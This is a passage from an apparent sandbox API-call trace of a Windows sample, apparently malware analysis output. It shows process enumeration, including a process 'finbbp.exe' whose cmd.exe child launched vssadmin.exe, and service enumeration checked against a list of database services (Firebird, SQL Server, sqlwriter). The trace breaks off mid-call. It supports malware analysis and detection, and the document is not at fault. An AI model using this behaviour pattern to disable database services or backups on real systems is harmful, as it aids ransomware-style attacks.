lstrlenW (lpString="svchost.exe") returned 11 [0250.514] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.515] lstrlenW (lpString="audiodg.exe") returned 11 [0250.515] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0250.515] lstrlenW (lpString="sihost.exe") returned 10 [0250.515] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.516] lstrlenW (lpString="svchost.exe") returned 11 [0250.516] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.516] lstrlenW (lpString="taskhostw.exe") returned 13 [0250.517] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0250.517] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0250.517] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0250.518] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0250.518] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0250.518] lstrlenW (lpString="Memory Compression") returned 18 [0250.518] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.520] lstrlenW (lpString="explorer.exe") returned 12 [0250.520] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0250.520] lstrlenW (lpString="SearchUI.exe") returned 12 [0250.520] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0250.521] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0250.521] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0250.521] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0250.521] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.522] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0250.522] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0250.522] lstrlenW (lpString="finbbp.exe") returned 10 [0250.522] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0250.523] lstrlenW (lpString="cmd.exe") returned 7 [0250.523] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0250.524] lstrlenW (lpString="conhost.exe") returned 11 [0250.524] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0250.524] lstrlenW (lpString="vssadmin.exe") returned 12 [0250.524] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0250.525] lstrlenW (lpString="consent.exe") returned 11 [0250.525] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0250.525] CloseHandle (hObject=0x544) returned 1 [0250.525] Sleep (dwMilliseconds=0x1f4) [0251.271] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa970 [0251.272] EnumServicesStatusExW (in: hSCManager=0x41aa970, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0251.273] GetLastError () returned 0xea [0251.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1bc4) returned 0x4205e48 [0251.273] EnumServicesStatusExW (in: hSCManager=0x41aa970, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205e48, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205e48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0251.276] CloseServiceHandle (hSCObject=0x41aa970) returned 1 [0251.277] lstrlenW (lpString="Appinfo") returned 7 [0251.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0251.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0251.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0251.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0251.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0251.277] lstrlenW (lpString="AppXSvc") returned 7 [0251.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0251.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0251.277] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0251.277] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0251.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0251.277] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0251.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.277] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0251.277] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0251.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0251.277] lstrlenW (lpString="Audiosrv") returned 8 [0251.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0251.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0251.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0251.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0251.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0251.277] lstrlenW (lpString="BFE") returned 3 [0251.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0251.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0251.278] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0251.278] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0251.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0251.278] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0251.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0251.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0251.278] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0251.278] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0251.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0251.278] lstrlenW (lpString="CDPSvc") returned 6 [0251.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0251.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0251.278] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0251.278] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0251.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0251.278] lstrlenW (lpString="ClickToRunSvc") returned 13 [0251.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0251.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0251.278] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0251.278] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0251.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0251.278] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0251.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0251.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0251.278] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0251.278] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0251.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0251.279] lstrlenW (lpString="CryptSvc") returned 8 [0251.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0251.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0251.279] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0251.279] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0251.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0251.279] lstrlenW (lpString="DcomLaunch") returned 10 [0251.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.279] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0251.279] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0251.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0251.279] lstrlenW (lpString="DeviceAssociationService") returned 24 [0251.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0251.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0251.279] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0251.279] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0251.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0251.279] lstrlenW (lpString="Dhcp") returned 4 [0251.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0251.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0251.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0251.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0251.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0251.279] lstrlenW (lpString="Dnscache") returned 8 [0251.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0251.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0251.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0251.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0251.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0251.280] lstrlenW (lpString="DPS") returned 3 [0251.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0251.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0251.280] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0251.280] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0251.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0251.280] lstrlenW (lpString="DusmSvc") returned 7 [0251.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0251.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0251.280] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0251.280] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0251.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0251.280] lstrlenW (lpString="EventLog") returned 8 [0251.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0251.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0251.280] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0251.280] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0251.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0251.280] lstrlenW (lpString="EventSystem") returned 11 [0251.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0251.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0251.280] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0251.280] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0251.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0251.281] lstrlenW (lpString="FontCache") returned 9 [0251.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0251.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0251.281] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0251.281] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0251.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0251.281] lstrlenW (lpString="gpsvc") returned 5 [0251.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0251.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0251.281] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0251.281] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0251.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0251.281] lstrlenW (lpString="iphlpsvc") returned 8 [0251.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0251.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0251.281] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0251.281] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0251.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0251.281] lstrlenW (lpString="KeyIso") returned 6 [0251.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0251.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0251.281] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0251.281] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0251.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0251.281] lstrlenW (lpString="LanmanServer") returned 12 [0251.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0251.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0251.282] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0251.282] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0251.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0251.282] lstrlenW (lpString="LanmanWorkstation") returned 17 [0251.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.282] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0251.282] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0251.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0251.282] lstrlenW (lpString="lfsvc") returned 5 [0251.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0251.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0251.282] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0251.282] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0251.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0251.282] lstrlenW (lpString="lmhosts") returned 7 [0251.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0251.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0251.282] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0251.282] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0251.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0251.282] lstrlenW (lpString="LSM") returned 3 [0251.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0251.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0251.282] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0251.282] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0251.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0251.283] lstrlenW (lpString="MpsSvc") returned 6 [0251.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0251.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0251.283] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0251.283] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0251.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0251.283] lstrlenW (lpString="NcbService") returned 10 [0251.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0251.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0251.283] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0251.283] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0251.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0251.283] lstrlenW (lpString="netprofm") returned 8 [0251.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0251.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0251.283] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0251.283] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0251.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0251.283] lstrlenW (lpString="NgcSvc") returned 6 [0251.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0251.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0251.283] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0251.283] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0251.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0251.284] lstrlenW (lpString="NlaSvc") returned 6 [0251.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0251.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0251.284] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0251.284] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0251.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0251.284] lstrlenW (lpString="nsi") returned 3 [0251.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0251.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0251.284] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0251.284] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0251.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0251.284] lstrlenW (lpString="PcaSvc") returned 6 [0251.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0251.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0251.284] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0251.284] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0251.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0251.284] lstrlenW (lpString="PlugPlay") returned 8 [0251.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0251.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0251.284] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0251.284] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0251.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0251.460] lstrlenW (lpString="Power") returned 5 [0251.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0251.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0251.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0251.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0251.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0251.460] lstrlenW (lpString="ProfSvc") returned 7 [0251.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0251.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0251.460] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0251.460] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0251.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0251.460] lstrlenW (lpString="RpcEptMapper") returned 12 [0251.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.460] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0251.460] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0251.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0251.460] lstrlenW (lpString="RpcSs") returned 5 [0251.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0251.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0251.460] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0251.460] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0251.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0251.460] lstrlenW (lpString="SamSs") returned 5 [0251.460] lstrcmpiW 